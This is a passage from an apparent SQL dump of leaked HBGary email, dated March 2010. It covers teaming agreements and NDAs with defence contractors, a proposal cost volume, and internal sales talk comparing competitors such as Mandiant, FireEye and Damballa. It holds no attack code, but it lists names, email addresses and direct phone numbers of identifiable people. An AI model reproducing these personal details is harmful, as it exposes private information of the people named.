you are free to submit the nomination yourself at the AFCEA International \r\n        Website.\r\n      Do not miss out on \r\n        the opportunity to gain valued recognition for members of your organization \r\n        who are contributing to our intelligence service. \r\n      Sincerely,\r\n      Chris Cusano\r\n        VP for Membership\r\n        AFCEA NOVA\r\n      \r\n    \r\n    \r\n    &nbsp;\r\n    &nbsp;\r\n  \r\n   \r\n    \r\n  \r\n\r\n\r\n   \r\n    \r\n  \r\n   \r\n    Armed \r\n      Forces Communications &amp; Electronics Association, Northern Virginia Chapter\r\n      U.S. Mail: AFCEA NOVA, 428 Hume Ave., 2nd floor, Alexandria, VA 22301\r\n      email: events@afceanova.org | voice: 703-549-6911 | fax: 703-995-4890\r\n  \r\n\r\n \r\n  Management Consulting and Events Planning by : CAPLEAD \r\n  | info@caplead.com\r\n   \r\n\r\n\r\n\r\n',15472,'aaron_hbgary_com/15472.html'),(4340,'2010-03-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002376.M944871P3547Q4340.eml','\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>,\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>,','Updated Proposal','Chris,\r\n\r\nHopefully this should be enough to give you a good indication of the direction we are taking.  There are still a few sections in the technical volume that need some more serious work that I will finish up today, but wanted to get this in front of you for some initial comments.  The cost, schedule, and milestones and SOW data Ted is working on.\r\n\r\n',9347,'aaron_hbgary_com/9347.html'),(4341,'2010-03-22','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002377.M413806P3547Q4341.eml','\"Colleen Ferguson\" <colleen.ferguson@sri.com>,\"Colleen Ferguson\" <colleen.ferguson@sri.com>','Re: Fwd: TA & NDA','Hi Colleen,\r\n\r\nI was just gathering, reviewing and signing the TAs and noticed that the\r\nfile you attached is not signed.  Please send the signed TA and I will\r\nreturn a fully executed copy ASAP.\r\n\r\nThanks,\r\nTed\r\n\r\n\r\nOn 3/10/10 11:38 AM, Colleen Ferguson wrote:\r\n> Hi Ted,\r\n> \r\n> Here is the signed Teaming Agreement.  We did not see why a separate NDA\r\n> is necessary since there are proprietary information disclosure terms in\r\n> the Teaming Agreement.  If it won\'t affect the proposal effort please\r\n> let\'s revisit at a later date due to the time constraints.\r\n> \r\n> Thanks,\r\n> Colleen\r\n> \r\n> Ted Vera wrote:\r\n>> Hello Colleen,\r\n>>\r\n>> We have reviewed and accepted SRI\'s redlines to the teaming agreement\r\n>> (attached).  If all terms are acceptable, please sign and return.  Upon\r\n>> receipt I will sign and return to you a fully executed copy.\r\n>>\r\n>> If SRI chooses to reject the HBGary NDA, then SRI will not be granted\r\n>> access to HBGary proprietary technologies.  This should not have a\r\n>> negative impact on the proposal effort.  This can be revisited during\r\n>> execution if it is deemed necessary for SRI to have access to HBGary\r\n>> product source-code.\r\n>>\r\n>> Regards,\r\n>> Ted\r\n>>\r\n>>\r\n>>\r\n>> On 3/9/10 4:05 PM, Colleen Ferguson wrote:\r\n>>  \r\n>>> Mr. Vera,\r\n>>>\r\n>>> Here are our redlines on the Teaming Agreement with HB Gary.  Please\r\n>>> note that we\'re still reviewing 7.4 and may have additional comments on\r\n>>> that paragraph.  Also,  we reject the NDA in favor of the Teaming\r\n>>> Agreement\'s confidentiality terms.  Please let me know if the changes\r\n>>> are acceptable.\r\n>>>\r\n>>> Regards,\r\n>>> Colleen\r\n>>>\r\n>>>     \r\n>>\r\n>>   \r\n> \r\n\r\n',16595,'aaron_hbgary_com/16595.html'),(4342,'2010-03-22','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002380.M874520P3547Q4342.eml','\"Irby Thompson\" <irby@pikewerks.com>,\"Irby Thompson\" <irby@pikewerks.com>','Re: Teaming Agreement and updated NDA','Irby,\r\n\r\nAttached is the fully executed Teaming Agreement.\r\n\r\nSection 2.6 only pertains to the proposal we are priming, Tech Area 3.\r\nIf you would like, we can update the teaming agreement with an amendment\r\nto reflect this.\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\n\r\n\r\nOn 3/8/10 7:27 PM, Irby Thompson wrote:\r\n> Ted,\r\n> \r\n> Please find the signed NDA with HBGary, and the Teaming Agreement with HBGary Federal attached. Please countersign and email back a fully-executed copy.\r\n> \r\n> The only question I had was on Section 2.6 of the Teaming Agreement - I just want to make sure that this does not conflict with our participation as a subcontractor on the GDAIS proposal for Technical Area 1.\r\n> \r\n> 	Regards,\r\n> 	Irby\r\n> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n> On Mar 8, 2010, at 11:57 AM, Ted Vera wrote:\r\n> \r\n>> Please review and if all terms and conditions are acceptable, sign and\r\n>> return.  Please contact me if you have any questions.\r\n>>\r\n>> Regards,\r\n>> Ted\r\n>> \r\n> \r\n\r\n',5742,'aaron_hbgary_com/5742.html'),(4343,'2010-03-22','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002382.M341892P3547Q4343.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: Fwd: Teaming Agreement and updated NDA','\r\n\r\n-------- Original Message --------\r\nSubject: Fwd: Teaming Agreement and updated NDA\r\nDate: Mon, 8 Mar 2010 17:14:06 -0700\r\nFrom: Ted Vera \r\nTo: brianneo@securedecisions.avi.com\r\n\r\nHello Brianne,\r\n\r\nI received an out of office response from Anita, so I am forwarding\r\nthe documents below to you for review/approval by Secure Decisions.\r\n\r\nThanks,\r\nTed\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Ted Vera \r\nDate: Mon, Mar 8, 2010 at 9:57 AM\r\nSubject: Teaming Agreement and updated NDA\r\nTo: anitad@securedecisions.avi.com, Aaron Barr \r\n\r\n\r\nPlease review and if all terms and conditions are acceptable, sign and\r\nreturn.  Please contact me if you have any questions.\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n',9104,'aaron_hbgary_com/9104.html'),(4344,'2010-03-22','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002383.M780565P3547Q4344.eml','Ebbe@avi.com,anitad@securedecisions.avi.com,Ebbe@avi.com','Fwd: Fwd: Teaming Agreement and updated NDA','Hello Ebbe, please see the attached NDA and teaming agreement. If all\r\nterms and conditions are acceptable, please have an appropriate Secure\r\nDecisions point of contact sign and return to me.  I will countersign\r\nand return the fully executed copy.\r\n\r\nRegards,\r\nTed Vera\r\n\r\n\r\n\r\n-------- Original Message --------\r\nSubject: Fwd: Teaming Agreement and updated NDA\r\nDate: Mon, 8 Mar 2010 17:14:06 -0700\r\nFrom: Ted Vera \r\nTo: brianneo@securedecisions.avi.com\r\n\r\nHello Brianne,\r\n\r\nI received an out of office response from Anita, so I am forwarding\r\nthe documents below to you for review/approval by Secure Decisions.\r\n\r\nThanks,\r\nTed\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Ted Vera \r\nDate: Mon, Mar 8, 2010 at 9:57 AM\r\nSubject: Teaming Agreement and updated NDA\r\nTo: anitad@securedecisions.avi.com, Aaron Barr \r\n\r\n\r\nPlease review and if all terms and conditions are acceptable, sign and\r\nreturn.  Please contact me if you have any questions.\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n',4377,'aaron_hbgary_com/4377.html'),(4345,'2010-03-22','\"Colleen Ferguson\" <colleen.ferguson@sri.com>','/aaron@hbgary.com/new/1297002399.M255461P3547Q4345.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: Fwd: TA & NDA','\r\n\r\n\r\n  \r\n\r\n\r\nHi Ted,\r\n\r\nNot sure why digital signature is not showing up on your end.&nbsp; In any\r\ncase here is another signed copy.&nbsp; I printed out and signed manually\r\nthis time.\r\n\r\nThanks,\r\nColleen\r\n\r\nTed Vera wrote:\r\n\r\n  Hi Colleen,\r\n\r\nI was just gathering, reviewing and signing the TAs and noticed that the\r\nfile you attached is not signed.  Please send the signed TA and I will\r\nreturn a fully executed copy ASAP.\r\n\r\nThanks,\r\nTed\r\n\r\n\r\nOn 3/10/10 11:38 AM, Colleen Ferguson wrote:\r\n  \r\n  \r\n    Hi Ted,\r\n\r\nHere is the signed Teaming Agreement.  We did not see why a separate NDA\r\nis necessary since there are proprietary information disclosure terms in\r\nthe Teaming Agreement.  If it won\'t affect the proposal effort please\r\nlet\'s revisit at a later date due to the time constraints.\r\n\r\nThanks,\r\nColleen\r\n\r\nTed Vera wrote:\r\n    \r\n    \r\n      Hello Colleen,\r\n\r\nWe have reviewed and accepted SRI\'s redlines to the teaming agreement\r\n(attached).  If all terms are acceptable, please sign and return.  Upon\r\nreceipt I will sign and return to you a fully executed copy.\r\n\r\nIf SRI chooses to reject the HBGary NDA, then SRI will not be granted\r\naccess to HBGary proprietary technologies.  This should not have a\r\nnegative impact on the proposal effort.  This can be revisited during\r\nexecution if it is deemed necessary for SRI to have access to HBGary\r\nproduct source-code.\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\nOn 3/9/10 4:05 PM, Colleen Ferguson wrote:\r\n \r\n      \r\n      \r\n        Mr. Vera,\r\n\r\nHere are our redlines on the Teaming Agreement with HB Gary.  Please\r\nnote that we\'re still reviewing 7.4 and may have additional comments on\r\nthat paragraph.  Also,  we reject the NDA in favor of the Teaming\r\nAgreement\'s confidentiality terms.  Please let me know if the changes\r\nare acceptable.\r\n\r\nRegards,\r\nColleen\r\n\r\n    \r\n        \r\n      \r\n        \r\n      \r\n    \r\n  \r\n  \r\n  \r\n\r\n\r\n-- \r\nColleen R. Ferguson\r\nSr. Contract Administrator\r\nSRI International\r\n(650) 859-4199\r\ncolleen.ferguson@sri.com\r\n\r\n\r\n',8196,'aaron_hbgary_com/8196.html'),(4346,'2010-03-22','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002400.M909054P3547Q4346.eml','Chris.Starr@gd-ais.com,Chris.Starr@gd-ais.com','Teaming Agreement','Hi Chris,\r\n\r\nI haven\'t heard anything, so I just wanted to ping you to confirm that\r\nthe Tech Area 3 TA is in GD\'s review process.\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\n-------- Original Message --------\r\nSubject: Teaming Agreement & Updated NDA\r\nDate: Mon, 08 Mar 2010 09:59:10 -0700\r\nFrom: Ted Vera \r\nTo: Chris.Starr@gd-ais.com, \'Aaron Barr\' \r\n\r\nPlease review and if all terms and conditions are acceptable, sign and\r\nreturn.  Please contact me if you have any questions.\r\n\r\nRegards,\r\nTed\r\n\r\n',16527,'aaron_hbgary_com/16527.html'),(4347,'2010-03-22','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002403.M648106P3547Q4347.eml','\"Colleen Ferguson\" <colleen.ferguson@sri.com>,\"Colleen Ferguson\" <colleen.ferguson@sri.com>','Re: Fwd: TA & NDA','Colleen,\r\n\r\nAttached is the fully executed copy.  Thanks.\r\n\r\nTed\r\n\r\n\r\n\r\n\r\nOn 3/22/10 2:07 PM, Colleen Ferguson wrote:\r\n> Hi Ted,\r\n> \r\n> Not sure why digital signature is not showing up on your end.  In any\r\n> case here is another signed copy.  I printed out and signed manually\r\n> this time.\r\n> \r\n> Thanks,\r\n> Colleen\r\n> \r\n> Ted Vera wrote:\r\n>> Hi Colleen,\r\n>>\r\n>> I was just gathering, reviewing and signing the TAs and noticed that the\r\n>> file you attached is not signed.  Please send the signed TA and I will\r\n>> return a fully executed copy ASAP.\r\n>>\r\n>> Thanks,\r\n>> Ted\r\n>>\r\n>>\r\n>> On 3/10/10 11:38 AM, Colleen Ferguson wrote:\r\n>>  \r\n>>> Hi Ted,\r\n>>>\r\n>>> Here is the signed Teaming Agreement.  We did not see why a separate NDA\r\n>>> is necessary since there are proprietary information disclosure terms in\r\n>>> the Teaming Agreement.  If it won\'t affect the proposal effort please\r\n>>> let\'s revisit at a later date due to the time constraints.\r\n>>>\r\n>>> Thanks,\r\n>>> Colleen\r\n>>>\r\n>>> Ted Vera wrote:\r\n>>>    \r\n>>>> Hello Colleen,\r\n>>>>\r\n>>>> We have reviewed and accepted SRI\'s redlines to the teaming agreement\r\n>>>> (attached).  If all terms are acceptable, please sign and return.  Upon\r\n>>>> receipt I will sign and return to you a fully executed copy.\r\n>>>>\r\n>>>> If SRI chooses to reject the HBGary NDA, then SRI will not be granted\r\n>>>> access to HBGary proprietary technologies.  This should not have a\r\n>>>> negative impact on the proposal effort.  This can be revisited during\r\n>>>> execution if it is deemed necessary for SRI to have access to HBGary\r\n>>>> product source-code.\r\n>>>>\r\n>>>> Regards,\r\n>>>> Ted\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>> On 3/9/10 4:05 PM, Colleen Ferguson wrote:\r\n>>>>  \r\n>>>>      \r\n>>>>> Mr. Vera,\r\n>>>>>\r\n>>>>> Here are our redlines on the Teaming Agreement with HB Gary.  Please\r\n>>>>> note that we\'re still reviewing 7.4 and may have additional\r\n>>>>> comments on\r\n>>>>> that paragraph.  Also,  we reject the NDA in favor of the Teaming\r\n>>>>> Agreement\'s confidentiality terms.  Please let me know if the changes\r\n>>>>> are acceptable.\r\n>>>>>\r\n>>>>> Regards,\r\n>>>>> Colleen\r\n>>>>>\r\n>>>>>             \r\n>>>>         \r\n>>\r\n>>   \r\n> \r\n\r\n',13187,'aaron_hbgary_com/13187.html'),(4348,'2010-03-22','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297002403.M928066P3547Q4348.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: Teaming Agreement','Ted,\r\n\r\nI believe our review process for this will conclude on Wednesday.\r\n\r\nChris\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Monday, March 22, 2010 4:11 PM\r\nTo: Starr, Christopher H.\r\nCc: \'Aaron Barr\'\r\nSubject: Teaming Agreement\r\n\r\nHi Chris,\r\n\r\nI haven\'t heard anything, so I just wanted to ping you to confirm that\r\nthe Tech Area 3 TA is in GD\'s review process.\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\n-------- Original Message --------\r\nSubject: Teaming Agreement & Updated NDA\r\nDate: Mon, 08 Mar 2010 09:59:10 -0700\r\nFrom: Ted Vera \r\nTo: Chris.Starr@gd-ais.com, \'Aaron Barr\' \r\n\r\nPlease review and if all terms and conditions are acceptable, sign and\r\nreturn.  Please contact me if you have any questions.\r\n\r\nRegards,\r\nTed\r\n\r\n',3817,'aaron_hbgary_com/3817.html'),(4349,'2010-03-22','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297002404.M647942P3547Q4349.eml','\"Wenthold, Russell L.\" <russ.wenthold@gd-ais.com>,\"Wenthold, Russell L.\" <russ.wenthold@gd-ais.com>,','FW: Due Date Reminder - Sanitized Cost Volume - Cyber Genome Proposal','Hi Russ,\r\n\r\nWe still need to get a teaming agreement to HBGary for technical area\r\n#3.\r\n\r\nChris\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Wednesday, March 17, 2010 10:45 PM\r\nTo: Larson, Cindy S.\r\nCc: Vela, Ryan; Starr, Christopher H.; Barr Aaron\r\nSubject: Re: Due Date Reminder - Sanitized Cost Volume - Cyber Genome\r\nProposal\r\n\r\nAttached is our sanitized cost volume for review.\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\n\r\n> \r\n> On 3/17/10 8:42 AM, Larson, Cindy S. wrote:\r\n>> Good Morning,\r\n>>  \r\n>> Just a reminder that your sanitized Cost Volume is due to GDAIS\r\ntoday.\r\n>> If you have any last minute questions or require clarification please\r\n\r\n>> contact Rex Brunelli at (210) 442-4231, or send him an email and copy\r\n\r\n>> me.\r\n>>  \r\n>> Your original, 2 hard copies and 2 CD ROMs of your sealed Cost Volume\r\n\r\n>> is due to Ryan Vela on March 25th; see RFP Attachment 1 for the \r\n>> address location.\r\n>>  \r\n>> Also, please re-review the RFP Attachment 1 to ensure your proposal \r\n>> includes all other required proposal information and documents (not \r\n>> part of the Cost Volume) .  Call me at 480-441-4235 or send me an \r\n>> email if you have any questions regarding the other required\r\ninformation.\r\n>>  \r\n>> Reminder, any comments to the GDAIS subcontract template or the terms\r\n\r\n>> and conditions should be sent to me by the end of next week.\r\n>>  \r\n>> We look forward to receiving your final pricing and proposal.\r\n>>  \r\n>> Regards,\r\n>> Cindy\r\n>>\r\n> \r\n\r\n',4704,'aaron_hbgary_com/4704.html'),(4350,'2010-03-23','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297002404.M838289P3547Q4350.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,smb@hbgary.com,\"Bob Slapnik\" <bob@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,\"Matt O\'Flynn\" <matt@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','damballa and fireeye','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nBoth have taken money to the tune of \r\n\r\n&nbsp;\r\n\r\nAt round C which they both are, Damballa is $16.7M &nbsp;in\r\nVenture and Fireeye is $34.5 Million WOW.&nbsp; That is a huge amount, which means\r\nthat there is no equity ownership in the companies for their employees.&nbsp; We can\r\nkeep growing if we sell and close accounts.&nbsp; I actually think there is a\r\npartner play for Damballa and it&#8217;s on client side.&nbsp; I met several people\r\nat RSA from here.&nbsp; Thoughts?\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6828,'aaron_hbgary_com/6828.html'),(4351,'2010-03-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002405.M45348P3547Q4351.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,,,,,,,','Re: damballa and fireeye','My 2 cents. &nbsp;Our offering gets that much stronger if we make a smart partnership with a perimeter defense company. &nbsp;What about Fidelis? &nbsp;All three seem to have some of the same language. &nbsp;All three have weaknesses and that is the client. &nbsp;What if the client is a laptop that only communicates when its outside the corporate network. &nbsp;What happens if the malware is getting its CnC through malvertisements from adwords? &nbsp;I still strongly believe we need a perimeter partner, which one is the best would require some steady analysis.AaronOn Mar 22, 2010, at 8:23 PM, Penny Leavy-Hoglund wrote:&nbsp;Both have taken money to the tune of&nbsp;At round C which they both are, Damballa is $16.7M &nbsp;in Venture and Fireeye is $34.5 Million WOW.&nbsp; That is a huge amount, which means that there is no equity ownership in the companies for their employees.&nbsp; We can keep growing if we sell and close accounts.&nbsp; I actually think there is a partner play for Damballa and it’s on client side.&nbsp; I met several people at RSA from here.&nbsp; Thoughts?Penny C. LeavyPresidentHBGary, Inc&nbsp;&nbsp;NOTICE –&nbsp;Any tax information or written tax advice contained herein (including attachments) is not intended to be and cannot be used by any taxpayer for the purpose of avoiding tax penalties that may be imposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to U.S. Treasury regulations governing tax practice.)&nbsp;This message and any attached files may contain information that is confidential and/or subject of legal privilege intended only for use by the intended recipient. If you are not the intended recipient or the person responsible for&nbsp;&nbsp; delivering the message to the intended recipient, be advised that you have received this message in error and that any dissemination, copying or use of this message or attachment is strictly&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',7763,'aaron_hbgary_com/7763.html'),(4352,'2010-03-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002408.M537703P3547Q4352.eml','\"Bob Slapnik\" <bob@hbgary.com>','Proposal','\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',3855,'aaron_hbgary_com/3855.html'),(4353,'2010-03-23','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297002408.M812994P3547Q4353.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Matt O\'Flynn\" <matt@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: GE info and Mandiant competitive info','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI see this as ultimately flawed.&nbsp;\r\nAPT is changing DAILY.&nbsp; APT is not a set of criteria that only mandiant has\r\naccess to.&nbsp; IN FACT mandiant ONLY has knowledge of what it sees.&nbsp; What if they\r\naren&#8217;t on an engagement and FOundstone is and a new APT is found, then what\r\nhappens?&nbsp; Mandiant is NOT behaviorally based, it can&#8217;t search for a fuzzy\r\nmatch, it is NO DIFFERENT than a signature search ,again you have to know about\r\nit.&nbsp; This is HBGary&#8217;s fault.&nbsp; WE need to clearly set out this proposition at\r\nthe FIRST meeting with a customer.&nbsp; APT is changing daily, to keep ahead of\r\nstring searches and signatures.&nbsp; WOW, can&#8217;t believe we didn&#8217;t overcome that\r\nobjection\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Sunday, March 14, 2010 5:34 PM\r\nTo: \'Greg Hoglund\'; \'Penny Leavy\'; \'Rich Cummings\'; \'Phil Wallisch\';\r\n\'Matt O\'Flynn\'; \'Maria Lucas\'; \'Aaron Barr\'; \'Ted Vera\'\r\nSubject: GE info and Mandiant competitive info\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI had a long conversation with GE on Friday.&nbsp; GE does\r\nnot consider Mandiant and HBGary to have competitive products.&nbsp; They see\r\nMandiant and HBGary as doing different things.&nbsp; HBGary is still in play\r\nthere.\r\n\r\n&nbsp;\r\n\r\nThe purchased MIR for a specific set of reasons:\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSearch host hard drives for indicators of\r\ncompromise\r\n\r\no&nbsp;&nbsp;\r\nAPT searches provided by Mandiant\r\n\r\no&nbsp;&nbsp;\r\nGE&#8217;s own search criteria\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCollect information and bring it back to the\r\nmothership\r\n\r\no&nbsp;&nbsp;\r\nInfo off the disk\r\n\r\no&nbsp;&nbsp;\r\nGrab memory and process space (the extent of\r\nMIR&#8217;s memory capability)\r\n\r\n&nbsp;\r\n\r\nThey like how MIR searches for APT. &nbsp;They bought MIR\r\nfor a certain set of capabilities and said it is meeting those\r\nexpectations.&nbsp; They like MIR&#8217;s performance &#8211; it is fast enough.&nbsp; \r\n\r\n&nbsp;\r\n\r\nThey see HBGary doing different things than Mandiant.&nbsp; \r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nStrong with analysis, both automated analysis\r\nand making their people more productive.&nbsp; \r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nThey see HBGary as being much better than\r\nMandiant with both memory forensics and malware analysis.\r\n\r\n&nbsp;\r\n\r\nMIR LIMITATIONS\r\n\r\nMIR brings a lot of data back to a central location, then\r\ndoes nothing with it.&nbsp; All of GE&#8217;s data analysis is outside of MIR using\r\nother tools.&nbsp; Some Memoryze code is crammed into MIR, but it doesn&#8217;t lend\r\nitself to their workflow.&nbsp; MIR makes it hard to reconstruct what was\r\nrunning.&nbsp; GREP the output. &nbsp;GE can&#8217;t view the data so that the bad\r\nstuff just pops out.&nbsp; To them MIR is a collection platform &#8211; which is\r\nvaluable because none of their other enterprise systems do it.\r\n\r\n&nbsp;\r\n\r\nI asked if they could see HBGary being deployed out over the\r\nenterprise.&nbsp; They see that we would definitely add value, but the BIGGEST\r\nOBSTACLE is deploying another agent.&nbsp; Our best bet would be to work on top\r\nof Verdasys which is being piloted now.&nbsp; Verdasys is expected to be\r\ndeployed widely be the end of this year, so it is possible for HBGary to be\r\ndeployed late this year or next year.&nbsp; (Their AV is Sophos.&nbsp; He said\r\nour deployment with Sophos wouldn&#8217;t be a good idea.&nbsp;&nbsp; I didn&#8217;t determine\r\nif it was internal GE politics, the Sophos s/w, or willingness by Sophos.)\r\n\r\n&nbsp;\r\n\r\nDoing business at GE is a long term proposition.&nbsp; It\r\ntook Mandiant and Verdasys over a year of effort and pain.&nbsp; They like long\r\ncourtship followed by long marriages.&nbsp; HBGary is in play.\r\n\r\n&nbsp;\r\n\r\nI asked where are they weak in the process?&nbsp; They have\r\na good skeletal process, but they have remaining needs.&nbsp; They need\r\nAUTOMATION to make LOWER SKILLED PEOPLE MORE PRODUCTIVE.&nbsp; Most of their\r\ntools are command line tools which only a few expensive people can use.\r\n\r\n&nbsp;\r\n\r\nNEXT STEPS WITH GE:\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nThey are giving us a malware sample to analyze\r\n(legal needs to OK it first)\r\n\r\no&nbsp;&nbsp;\r\nSell multiple Responder licenses\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHBGary tech people get in relationship with GE\r\nto more deeply learn their requirements\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWe work with Verdasys to show DDNA working with\r\nDigital Guardian\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nBuild in a few key use cases for GE with DDNA\r\nworking with Digital Guardian (mainly that GD sees &#8220;observed events&#8221; which\r\ncauses DDNA to launch)\r\n\r\n&nbsp;\r\n\r\nHBGary has certain advantages over Mandiant.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMemory forensics\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDigital DNA\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMalware analysis\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nIntegration with other enterprise products\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWe are better poised for strategic relationships\r\nwith big partners\r\n\r\n&nbsp;\r\n\r\nWhere HBGary has to catch up with Mandiant.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nKnowledge of specific APT samples\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSearching the disk for indicators of compromise\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nBringing back disk info to central location\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAllowing users to search for whatever they want\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12431,'aaron_hbgary_com/12431.html'),(4354,'2010-03-23','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297002409.M281893P3547Q4355.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,,,,,,','Re: damballa and fireeye','Good thoughts Aaron.  We have to be flexible and fit into an organization&#39;s overall security strategy.  Things like Arcsite integration, email attachment processing, filesystem queries (MFT processing) etc should def. be on our radar and will allow us to fit into a CSO&#39;s corporate strategy.  \r\nSomething else is very apparent to me now.  We have to be in the field getting dirty, building our indicators of compromise database, making a name for ourselves, getting real customer feedback on our tools.  Partnering with an IR shop will be key for us to get started.  We give them our tools and they feed us IOC data.  \r\nOn Mon, Mar 22, 2010 at 8:15 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nMy 2 cents.  Our offering gets that much stronger if we make a smart partnership with a perimeter defense company.  What about Fidelis?  All three seem to have some of the same language.  All three have weaknesses and that is 